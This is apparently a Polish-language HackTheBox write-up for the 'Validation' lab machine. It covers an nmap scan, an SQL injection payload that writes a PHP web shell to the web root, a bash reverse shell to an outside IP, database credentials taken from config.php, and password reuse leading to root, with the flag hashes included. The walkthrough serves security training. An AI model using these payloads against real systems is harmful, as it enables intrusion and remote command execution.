Validation - 29.09.2021
NMap
┌──(kali㉿kali)-[~/htb/validation]
└─$ nmap -sC -sV -T4 -p- 10.10.11.116
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 01:19 CEST
Warning: 10.10.11.116 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.116
Host is up (0.058s latency).
Not shown: 65262 closed ports, 269 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open http nginx
|_http-title: 403 Forbidden
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Strona główna
BurpSuite (SQL Injection shell upload)
Podczas wysyłania requestu, serwer odsyła kod 302, czyli przekierowanie.
Można zatem poeksperymentować z parametrami.
I już przy dodaniu '
do parametru country, serwer odsyła ciekawe informacje.
username=test&country=Brazil'
Zatem można przypuszczać, że będzie tutaj jakiegoś typu SQL Injection. Tymbardziej, że w błędzie była mowa o member function fetch_assoc()
Intruder z opcją follow redirection
' select * from users -- -
niestety tutaj nie zadziała
Okazało się, że box źle działał, potrzebny był restart. Prawdopodobnie iniekcje, które próbowałem działały, ale serwer nie potrafił znaleźć pliku shell.php. Ostatecznie sql injection:
username=test&country=Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']) ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
Shell
https://book.hacktricks.xyz/shells/shells/linux
Normalne wersje nie działały, tutaj był potrzebny stabliny shell z bash -c ''
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/10.10.14.32>/9000 0>&1'
user.txt
6a76c681479a41d563786553fafa92ce
Privilege Escalation
config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
mysql -u uhc --password=uhc-9qual-global-pw -D registration -e 'show databases;'
Database
information_schema
mysql
performance_schema
registration
mysql -u uhc --password=uhc-9qual-global-pw -D mysql -e 'use show tables;'
Tables_in_mysql
column_stats
columns_priv
db
event
func
general_log
global_priv
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
index_stats
innodb_index_stats
innodb_table_stats
plugin
proc
procs_priv
proxies_priv
roles_mapping
servers
slow_log
table_stats
tables_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user
mysql -u uhc --password=uhc-9qual-global-pw -D mysql -e 'select * from user;'
Był hash, ale niestety nic z niego nie udało się wyciągnąć
Warto zaznaczyć, że mamy doczynienia z dockerem
ls -al /
...
-rwxr-xr-x 1 root root 0 Sep 16 13:39 .dockerenv
...
Próba użycia hasła z wcześniejszej bazy uhc-9qual-global-pw
do uzyskania roota.
Zatem teraz należy zastanowić się jak wyjść do głównej maszyny, ale okazuje się, że możemy od razu przejść do folderu /root
i odczytać flagę.
root.txt
39b76517f594b8ba44baeaec7c6badf0